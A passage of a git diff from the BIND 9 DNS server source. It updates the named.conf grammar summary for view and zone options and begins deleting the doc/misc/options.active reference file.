-            fail | warn | ignore ); // may occur multiple times
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        clients-per-query <integer>;
-        deny-answer-addresses { <address_match_element>; ... } [
-            except-from { <string>; ... } ];
-        deny-answer-aliases { <string>; ... } [ except-from { <string>; ...
-            } ];
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        disable-algorithms <string> { <string>;
-            ... }; // may occur multiple times
-        disable-ds-digests <string> { <string>;
-            ... }; // may occur multiple times
-        disable-empty-zone <string>; // may occur multiple times
-        dlz <string> {
-                database <string>;
-                search <boolean>;
-        }; // may occur multiple times
-        dns64 <netprefix> {
-                break-dnssec <boolean>;
-                clients { <address_match_element>; ... };
-                exclude { <address_match_element>; ... };
-                mapped { <address_match_element>; ... };
-                recursive-only <boolean>;
-                suffix <ipv6_address>;
-        }; // may occur multiple times
-        dns64-contact <string>;
-        dns64-server <string>;
-        dnskey-sig-validity <integer>;
-        dnsrps-enable <boolean>;
-        dnsrps-options { <unspecified-text> };
-        dnssec-accept-expired <boolean>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-must-be-secure <string> <boolean>; // may occur multiple times
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        dnssec-validation ( yes | no | auto );
-        dnstap { ( all | auth | client | forwarder | resolver | update ) [
-            ( query | response ) ]; ... };
-        dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port
-            <integer> ] [ dscp <integer> ] | <ipv4_address> [ port
-            <integer> ] [ dscp <integer> ] | <ipv6_address> [ port
-            <integer> ] [ dscp <integer> ] ); ... };
-        dyndb <string> <quoted_string> {
-            <unspecified-text> }; // may occur multiple times
-        edns-udp-size <integer>;
-        empty-contact <string>;
-        empty-server <string>;
-        empty-zones-enable <boolean>;
-        fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
-        fetches-per-server <integer> [ ( drop | fail ) ];
-        fetches-per-zone <integer> [ ( drop | fail ) ];
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        glue-cache <boolean>; // deprecated
-        ipv4only-contact <string>;
-        ipv4only-enable <boolean>;
-        ipv4only-server <string>;
-        ixfr-from-differences ( primary | master | secondary | slave |
-            <boolean> );
-        key <string> {
-                algorithm <string>;
-                secret <string>;
-        }; // may occur multiple times
-        key-directory <quoted_string>;
-        lame-ttl <duration>;
-        lmdb-mapsize <sizeval>;
-        managed-keys { <string> (
-            static-key | initial-key
-            | static-ds | initial-ds
-            ) <integer> <integer>
-            <integer>
-            <quoted_string>; ... }; // may occur multiple times, deprecated
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        match-clients { <address_match_element>; ... };
-        match-destinations { <address_match_element>; ... };
-        match-recursive-only <boolean>;
-        max-cache-size ( default | unlimited | <sizeval> | <percentage> );
-        max-cache-ttl <duration>;
-        max-clients-per-query <integer>;
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-ncache-ttl <duration>;
-        max-records <integer>;
-        max-recursion-depth <integer>;
-        max-recursion-queries <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-stale-ttl <duration>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-udp-size <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        message-compression <boolean>;
-        min-cache-ttl <duration>;
-        min-ncache-ttl <duration>;
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        minimal-any <boolean>;
-        minimal-responses ( no-auth | no-auth-recursive | <boolean> );
-        multi-master <boolean>;
-        new-zones-directory <quoted_string>;
-        no-case-compress { <address_match_element>; ... };
-        nocookie-udp-size <integer>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        nsec3-test-zone <boolean>; // test only
-        nta-lifetime <duration>;
-        nta-recheck <duration>;
-        nxdomain-redirect <string>;
-        plugin ( query ) <string> [ {
-            <unspecified-text> } ]; // may occur multiple times
-        preferred-glue <string>;
-        prefetch <integer> [ <integer> ];
-        provide-ixfr <boolean>;
-        qname-minimization ( strict | relaxed | disabled | off );
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        rate-limit {
-                all-per-second <integer>;
-                errors-per-second <integer>;
-                exempt-clients { <address_match_element>; ... };
-                ipv4-prefix-length <integer>;
-                ipv6-prefix-length <integer>;
-                log-only <boolean>;
-                max-table-size <integer>;
-                min-table-size <integer>;
-                nodata-per-second <integer>;
-                nxdomains-per-second <integer>;
-                qps-scale <integer>;
-                referrals-per-second <integer>;
-                responses-per-second <integer>;
-                slip <integer>;
-                window <integer>;
-        };
-        recursion <boolean>;
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        require-server-cookie <boolean>;
-        resolver-nonbackoff-tries <integer>;
-        resolver-query-timeout <integer>;
-        resolver-retry-interval <integer>;
-        response-padding { <address_match_element>; ... } block-size
-            <integer>;
-        response-policy { zone <string> [ add-soa <boolean> ] [ log
-            <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval
-            <duration> ] [ policy ( cname | disabled | drop | given | no-op
-            | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [
-            recursive-only <boolean> ] [ nsip-enable <boolean> ] [
-            nsdname-enable <boolean> ]; ... } [ add-soa <boolean> ] [
-            break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [
-            min-update-interval <duration> ] [ min-ns-dots <integer> ] [
-            nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean>
-            ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ]
-            [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [
-            dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text>
-            } ];
-        root-delegation-only [ exclude { <string>; ... } ];
-        root-key-sentinel <boolean>;
-        rrset-order { [ class <string> ] [ type <string> ] [ name
-            <quoted_string> ] <string> <string>; ... };
-        send-cookie <boolean>;
-        serial-update-method ( date | increment | unixtime );
-        server <netprefix> {
-                bogus <boolean>;
-                edns <boolean>;
-                edns-udp-size <integer>;
-                edns-version <integer>;
-                keys <server_key>;
-                max-udp-size <integer>;
-                notify-source ( <ipv4_address> | * ) [ port ( <integer> | *
-                    ) ] [ dscp <integer> ];
-                notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer>
-                    | * ) ] [ dscp <integer> ];
-                padding <integer>;
-                provide-ixfr <boolean>;
-                query-source ( ( [ address ] ( <ipv4_address> | * ) [ port
-                    ( <integer> | * ) ] ) | ( [ [ address ] (
-                    <ipv4_address> | * ) ] port ( <integer> | * ) ) ) [
-                    dscp <integer> ];
-                query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [
-                    port ( <integer> | * ) ] ) | ( [ [ address ] (
-                    <ipv6_address> | * ) ] port ( <integer> | * ) ) ) [
-                    dscp <integer> ];
-                request-expire <boolean>;
-                request-ixfr <boolean>;
-                request-nsid <boolean>;
-                send-cookie <boolean>;
-                tcp-keepalive <boolean>;
-                tcp-only <boolean>;
-                transfer-format ( many-answers | one-answer );
-                transfer-source ( <ipv4_address> | * ) [ port ( <integer> |
-                    * ) ] [ dscp <integer> ];
-                transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                transfers <integer>;
-        }; // may occur multiple times
-        servfail-ttl <duration>;
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        sortlist { <address_match_element>; ... };
-        stale-answer-client-timeout ( disabled | off | <integer> );
-        stale-answer-enable <boolean>;
-        stale-answer-ttl <duration>;
-        stale-cache-enable <boolean>;
-        stale-refresh-time <duration>;
-        suppress-initial-notify <boolean>; // obsolete
-        synth-from-dnssec <boolean>;
-        transfer-format ( many-answers | one-answer );
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        trust-anchor-telemetry <boolean>; // experimental
-        trust-anchors { <string> ( static-key |
-            initial-key | static-ds | initial-ds
-            ) <integer> <integer> <integer>
-            <quoted_string>; ... }; // may occur multiple times
-        trusted-keys { <string>
-            <integer> <integer>
-            <integer>
-            <quoted_string>; ... }; // may occur multiple times, deprecated
-        try-tcp-refresh <boolean>;
-        update-check-ksk <boolean>;
-        use-alt-transfer-source <boolean>;
-        v6-bias <integer>;
-        validate-except { <string>; ... };
-        zero-no-soa-ttl <boolean>;
-        zero-no-soa-ttl-cache <boolean>;
-        zone <string> [ <class> ] {
-                allow-notify { <address_match_element>; ... };
-                allow-query { <address_match_element>; ... };
-                allow-query-on { <address_match_element>; ... };
-                allow-transfer { <address_match_element>; ... };
-                allow-update { <address_match_element>; ... };
-                allow-update-forwarding { <address_match_element>; ... };
-                also-notify [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                alt-transfer-source ( <ipv4_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                alt-transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                auto-dnssec ( allow | maintain | off );
-                check-dup-records ( fail | warn | ignore );
-                check-integrity <boolean>;
-                check-mx ( fail | warn | ignore );
-                check-mx-cname ( fail | warn | ignore );
-                check-names ( fail | warn | ignore );
-                check-sibling <boolean>;
-                check-spf ( warn | ignore );
-                check-srv-cname ( fail | warn | ignore );
-                check-wildcard <boolean>;
-                database <string>;
-                delegation-only <boolean>;
-                dialup ( notify | notify-passive | passive | refresh |
-                    <boolean> );
-                dlz <string>;
-                dnskey-sig-validity <integer>;
-                dnssec-dnskey-kskonly <boolean>;
-                dnssec-loadkeys-interval <integer>;
-                dnssec-policy <string>;
-                dnssec-secure-to-insecure <boolean>;
-                dnssec-update-mode ( maintain | no-resign );
-                file <quoted_string>;
-                forward ( first | only );
-                forwarders [ port <integer> ] [ dscp <integer> ] { (
-                    <ipv4_address> | <ipv6_address> ) [ port <integer> ] [
-                    dscp <integer> ]; ... };
-                in-view <string>;
-                inline-signing <boolean>;
-                ixfr-from-differences <boolean>;
-                journal <quoted_string>;
-                key-directory <quoted_string>;
-                masterfile-format ( map | raw | text );
-                masterfile-style ( full | relative );
-                masters [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                max-ixfr-ratio ( unlimited | <percentage> );
-                max-journal-size ( default | unlimited | <sizeval> );
-                max-records <integer>;
-                max-refresh-time <integer>;
-                max-retry-time <integer>;
-                max-transfer-idle-in <integer>;
-                max-transfer-idle-out <integer>;
-                max-transfer-time-in <integer>;
-                max-transfer-time-out <integer>;
-                max-zone-ttl ( unlimited | <duration> );
-                min-refresh-time <integer>;
-                min-retry-time <integer>;
-                multi-master <boolean>;
-                notify ( explicit | master-only | primary-only | <boolean> );
-                notify-delay <integer>;
-                notify-source ( <ipv4_address> | * ) [ port ( <integer> | *
-                    ) ] [ dscp <integer> ];
-                notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer>
-                    | * ) ] [ dscp <integer> ];
-                notify-to-soa <boolean>;
-                nsec3-test-zone <boolean>; // test only
-                primaries [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                request-expire <boolean>;
-                request-ixfr <boolean>;
-                serial-update-method ( date | increment | unixtime );
-                server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
-                server-names { <string>; ... };
-                sig-signing-nodes <integer>;
-                sig-signing-signatures <integer>;
-                sig-signing-type <integer>;
-                sig-validity-interval <integer> [ <integer> ];
-                transfer-source ( <ipv4_address> | * ) [ port ( <integer> |
-                    * ) ] [ dscp <integer> ];
-                transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                try-tcp-refresh <boolean>;
-                type ( primary | master | secondary | slave | mirror |
-                    delegation-only | forward | hint | redirect |
-                    static-stub | stub );
-                update-check-ksk <boolean>;
-                update-policy ( local | { ( deny | grant ) <string> (
-                    6to4-self | external | krb5-self | krb5-selfsub |
-                    krb5-subdomain | ms-self | ms-selfsub | ms-subdomain |
-                    name | self | selfsub | selfwild | subdomain | tcp-self
-                    | wildcard | zonesub ) [ <string> ] <rrtypelist>; ... };
-                use-alt-transfer-source <boolean>;
-                zero-no-soa-ttl <boolean>;
-                zone-statistics ( full | terse | none | <boolean> );
-        }; // may occur multiple times
-        zone-statistics ( full | terse | none | <boolean> );
-}; // may occur multiple times
-
-zone <string> [ <class> ] {
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        auto-dnssec ( allow | maintain | off );
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( fail | warn | ignore );
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        database <string>;
-        delegation-only <boolean>;
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        dlz <string>;
-        dnskey-sig-validity <integer>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        file <quoted_string>;
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        in-view <string>;
-        inline-signing <boolean>;
-        ixfr-from-differences <boolean>;
-        journal <quoted_string>;
-        key-directory <quoted_string>;
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        masters [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-records <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        multi-master <boolean>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        nsec3-test-zone <boolean>; // test only
-        primaries [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        serial-update-method ( date | increment | unixtime );
-        server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
-        server-names { <string>; ... };
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        try-tcp-refresh <boolean>;
-        type ( primary | master | secondary | slave | mirror |
-            delegation-only | forward | hint | redirect | static-stub |
-            stub );
-        update-check-ksk <boolean>;
-        update-policy ( local | { ( deny | grant ) <string> ( 6to4-self |
-            external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self
-            | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild
-            | subdomain | tcp-self | wildcard | zonesub ) [ <string> ]
-            <rrtypelist>; ... };
-        use-alt-transfer-source <boolean>;
-        zero-no-soa-ttl <boolean>;
-        zone-statistics ( full | terse | none | <boolean> );
+	allow-new-zones <boolean>;
+	allow-notify { <address_match_element>; ... };
+	allow-query { <address_match_element>; ... };
+	allow-query-cache { <address_match_element>; ... };
+	allow-query-cache-on { <address_match_element>; ... };
+	allow-query-on { <address_match_element>; ... };
+	allow-recursion { <address_match_element>; ... };
+	allow-recursion-on { <address_match_element>; ... };
+	allow-transfer [ port <integer> ] [ transport <string> ] { <address_match_element>; ... };
+	allow-update { <address_match_element>; ... };
+	allow-update-forwarding { <address_match_element>; ... };
+	also-notify [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
+	attach-cache <string>;
+	auth-nxdomain <boolean>;
+	catalog-zones { zone <string> [ default-primaries [ port <integer> ] [ source ( <ipv4_address> | * ) ] [ source-v6 ( <ipv6_address> | * ) ] { ( <remote-servers> | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ) [ key <string> ] [ tls <string> ]; ... } ] [ zone-directory <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval <duration> ]; ... };
+	check-dup-records ( fail | warn | ignore );
+	check-integrity <boolean>;
+	check-mx ( fail | warn | ignore );
+	check-mx-cname ( fail | warn | ignore );
+	check-names ( primary | master | secondary | slave | response ) ( fail | warn | ignore ); // may occur multiple times
+	check-sibling <boolean>;
+	check-spf ( warn | ignore );
+	check-srv-cname ( fail | warn | ignore );
+	check-svcb <boolean>;
+	check-wildcard <boolean>;
+	clients-per-query <integer>;
+	deny-answer-addresses { <address_match_element>; ... } [ except-from { <string>; ... } ];
+	deny-answer-aliases { <string>; ... } [ except-from { <string>; ... } ];
+	dialup ( notify | notify-passive | passive | refresh | <boolean> ); // deprecated
+	disable-algorithms <string> { <string>; ... }; // may occur multiple times
+	disable-ds-digests <string> { <string>; ... }; // may occur multiple times
+	disable-empty-zone <string>; // may occur multiple times
+	dlz <string> {
+		database <string>;
+		search <boolean>;
+	}; // may occur multiple times
+	dns64 <netprefix> {
+		break-dnssec <boolean>;
+		clients { <address_match_element>; ... };
+		exclude { <address_match_element>; ... };
+		mapped { <address_match_element>; ... };
+		recursive-only <boolean>;
+		suffix <ipv6_address>;
+	}; // may occur multiple times
+	dns64-contact <string>;
+	dns64-server <string>;
+	dnskey-sig-validity <integer>; // obsolete
+	dnsrps-enable <boolean>; // not configured
+	dnsrps-options { <unspecified-text> }; // not configured
+	dnssec-accept-expired <boolean>;
+	dnssec-dnskey-kskonly <boolean>; // obsolete
+	dnssec-loadkeys-interval <integer>;
+	dnssec-must-be-secure <string> <boolean>; // may occur multiple times, deprecated
+	dnssec-policy <string>;
+	dnssec-secure-to-insecure <boolean>; // obsolete
+	dnssec-update-mode ( maintain | no-resign ); // obsolete
+	dnssec-validation ( yes | no | auto );
+	dnstap { ( all | auth | client | forwarder | resolver | update ) [ ( query | response ) ]; ... }; // not configured
+	dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port <integer> ] | <ipv4_address> [ port <integer> ] | <ipv6_address> [ port <integer> ] ); ... };
+	dyndb <string> <quoted_string> { <unspecified-text> }; // may occur multiple times
+	edns-udp-size <integer>;
+	empty-contact <string>;
+	empty-server <string>;
+	empty-zones-enable <boolean>;
+	fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
+	fetches-per-server <integer> [ ( drop | fail ) ];
+	fetches-per-zone <integer> [ ( drop | fail ) ];
+	forward ( first | only );
+	forwarders [ port <integer> ] [ tls <string> ] { ( <ipv4_address> | <ipv6_address> ) [ port <integer> ] [ tls <string> ]; ... };
+	ipv4only-contact <string>;
+	ipv4only-enable <boolean>;
+	ipv4only-server <string>;
+	ixfr-from-differences ( primary | master | secondary | slave | <boolean> );
+	key <string> {
+		algorithm <string>;
+		secret <string>;
+	}; // may occur multiple times
+	key-directory <quoted_string>;
+	lame-ttl <duration>;
+	lmdb-mapsize <sizeval>;
+	managed-keys { <string> ( static-key | initial-key | static-ds | initial-ds ) <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
+	masterfile-format ( raw | text );
+	masterfile-style ( full | relative );
+	match-clients { <address_match_element>; ... };
+	match-destinations { <address_match_element>; ... };
+	match-recursive-only <boolean>;
+	max-cache-size ( default | unlimited | <sizeval> | <percentage> );
+	max-cache-ttl <duration>;
+	max-clients-per-query <integer>;
+	max-ixfr-ratio ( unlimited | <percentage> );
+	max-journal-size ( default | unlimited | <sizeval> );
+	max-ncache-ttl <duration>;
+	max-records <integer>;
+	max-recursion-depth <integer>;
+	max-recursion-queries <integer>;
+	max-refresh-time <integer>;
+	max-retry-time <integer>;
+	max-stale-ttl <duration>;
+	max-transfer-idle-in <integer>;
+	max-transfer-idle-out <integer>;
+	max-transfer-time-in <integer>;
+	max-transfer-time-out <integer>;
+	max-udp-size <integer>;
+	max-zone-ttl ( unlimited | <duration> ); // deprecated
+	message-compression <boolean>;
+	min-cache-ttl <duration>;
+	min-ncache-ttl <duration>;
+	min-refresh-time <integer>;
+	min-retry-time <integer>;
+	minimal-any <boolean>;
+	minimal-responses ( no-auth | no-auth-recursive | <boolean> );
+	multi-master <boolean>;
+	new-zones-directory <quoted_string>;
+	no-case-compress { <address_match_element>; ... };
+	nocookie-udp-size <integer>;
+	notify ( explicit | master-only | primary-only | <boolean> );
+	notify-delay <integer>;
+	notify-source ( <ipv4_address> | * );
+	notify-source-v6 ( <ipv6_address> | * );
+	notify-to-soa <boolean>;
+	nsec3-test-zone <boolean>; // test only
+	nta-lifetime <duration>;
+	nta-recheck <duration>;
+	nxdomain-redirect <string>;
+	parental-source ( <ipv4_address> | * );
+	parental-source-v6 ( <ipv6_address> | * );
+	plugin ( query ) <string> [ { <unspecified-text> } ]; // may occur multiple times
+	preferred-glue <string>;
+	prefetch <integer> [ <integer> ];
+	provide-ixfr <boolean>;
+	qname-minimization ( strict | relaxed | disabled | off );
+	query-source [ address ] ( <ipv4_address> | * );
+	query-source-v6 [ address ] ( <ipv6_address> | * );
+	rate-limit {
+		all-per-second <integer>;
+		errors-per-second <integer>;
+		exempt-clients { <address_match_element>; ... };
+		ipv4-prefix-length <integer>;
+		ipv6-prefix-length <integer>;
+		log-only <boolean>;
+		max-table-size <integer>;
+		min-table-size <integer>;
+		nodata-per-second <integer>;
+		nxdomains-per-second <integer>;
+		qps-scale <integer>;
+		referrals-per-second <integer>;
+		responses-per-second <integer>;
+		slip <integer>;
+		window <integer>;
+	};
+	recursion <boolean>;
+	request-expire <boolean>;
+	request-ixfr <boolean>;
+	request-nsid <boolean>;
+	require-server-cookie <boolean>;
+	resolver-nonbackoff-tries <integer>;
+	resolver-query-timeout <integer>;
+	resolver-retry-interval <integer>;
+	response-padding { <address_match_element>; ... } block-size <integer>;
+	response-policy { zone <string> [ add-soa <boolean> ] [ log <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval <duration> ] [ policy ( cname | disabled | drop | given | no-op | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [ recursive-only <boolean> ] [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [ ede <string> ]; ... } [ add-soa <boolean> ] [ break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval <duration> ] [ min-ns-dots <integer> ] [ nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean> ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ] [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [ dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text> } ];
+	root-key-sentinel <boolean>;
+	rrset-order { [ class <string> ] [ type <string> ] [ name <quoted_string> ] <string> <string>; ... };
+	send-cookie <boolean>;
+	serial-update-method ( date | increment | unixtime );
+	server <netprefix> {
+		bogus <boolean>;
+		edns <boolean>;
+		edns-udp-size <integer>;
+		edns-version <integer>;
+		keys <server_key>;
+		max-udp-size <integer>;
+		notify-source ( <ipv4_address> | * );
+		notify-source-v6 ( <ipv6_address> | * );
+		padding <integer>;
+		provide-ixfr <boolean>;
+		query-source [ address ] ( <ipv4_address> | * );
+		query-source-v6 [ address ] ( <ipv6_address> | * );
+		request-expire <boolean>;
+		request-ixfr <boolean>;
+		request-nsid <boolean>;
+		require-cookie <boolean>;
+		send-cookie <boolean>;
+		tcp-keepalive <boolean>;
+		tcp-only <boolean>;
+		transfer-format ( many-answers | one-answer );
+		transfer-source ( <ipv4_address> | * );
+		transfer-source-v6 ( <ipv6_address> | * );
+		transfers <integer>;
+	}; // may occur multiple times
+	servfail-ttl <duration>;
+	sig-signing-nodes <integer>;
+	sig-signing-signatures <integer>;
+	sig-signing-type <integer>;
+	sig-validity-interval <integer> [ <integer> ]; // obsolete
+	sortlist { <address_match_element>; ... };
+	stale-answer-client-timeout ( disabled | off | <integer> );
+	stale-answer-enable <boolean>;
+	stale-answer-ttl <duration>;
+	stale-cache-enable <boolean>;
+	stale-refresh-time <duration>;
+	synth-from-dnssec <boolean>;
+	transfer-format ( many-answers | one-answer );
+	transfer-source ( <ipv4_address> | * );
+	transfer-source-v6 ( <ipv6_address> | * );
+	trust-anchor-telemetry <boolean>; // experimental
+	trust-anchors { <string> ( static-key | initial-key | static-ds | initial-ds ) <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times
+	trusted-keys { <string> <integer> <integer> <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
+	try-tcp-refresh <boolean>;
+	update-check-ksk <boolean>; // obsolete
+	v6-bias <integer>;
+	validate-except { <string>; ... };
+	zero-no-soa-ttl <boolean>;
+	zero-no-soa-ttl-cache <boolean>;
+	zone-statistics ( full | terse | none | <boolean> );
 }; // may occur multiple times
 
diff --git a/doc/misc/options.active b/doc/misc/options.active
deleted file mode 100644
index d5adf85a98..0000000000
--- a/doc/misc/options.active
+++ /dev/null
@@ -1,944 +0,0 @@
-
-This is a summary of the named.conf options supported by
-this version of BIND 9.
-
-acl <string> { <address_match_element>; ... }; // may occur multiple times
-
-controls {
-        inet ( <ipv4_address> | <ipv6_address> |
-            * ) [ port ( <integer> | * ) ] allow
-            { <address_match_element>; ... } [
-            keys { <string>; ... } ] [ read-only
-            <boolean> ]; // may occur multiple times
-        unix <quoted_string> perm <integer>
-            owner <integer> group <integer> [
-            keys { <string>; ... } ] [ read-only
-            <boolean> ]; // may occur multiple times
-}; // may occur multiple times
-
-dlz <string> {
-        database <string>;
-        search <boolean>;
-}; // may occur multiple times
-
-dnssec-policy <string> {
-        dnskey-ttl <duration>;
-        keys { ( csk | ksk | zsk ) [ ( key-directory ) ] lifetime
-            <duration_or_unlimited> algorithm <string> [ <integer> ]; ... };
-        max-zone-ttl <duration>;
-        nsec3param [ iterations <integer> ] [ optout <boolean> ] [
-            salt-length <integer> ];
-        parent-ds-ttl <duration>;
-        parent-propagation-delay <duration>;
-        publish-safety <duration>;
-        purge-keys <duration>;
-        retire-safety <duration>;
-        signatures-refresh <duration>;
-        signatures-validity <duration>;
-        signatures-validity-dnskey <duration>;
-        zone-propagation-delay <duration>;
-}; // may occur multiple times
-
-dyndb <string> <quoted_string> {
-    <unspecified-text> }; // may occur multiple times
-
-http <string> {
-        endpoints { <quoted_string>; ... };
-}; // may occur multiple times
-
-key <string> {
-        algorithm <string>;
-        secret <string>;
-}; // may occur multiple times
-
-logging {
-        category <string> { <string>; ... }; // may occur multiple times
-        channel <string> {
-                buffered <boolean>;
-                file <quoted_string> [ versions ( unlimited | <integer> ) ]
-                    [ size <size> ] [ suffix ( increment | timestamp ) ];
-                null;
-                print-category <boolean>;
-                print-severity <boolean>;
-                print-time ( iso8601 | iso8601-utc | local | <boolean> );
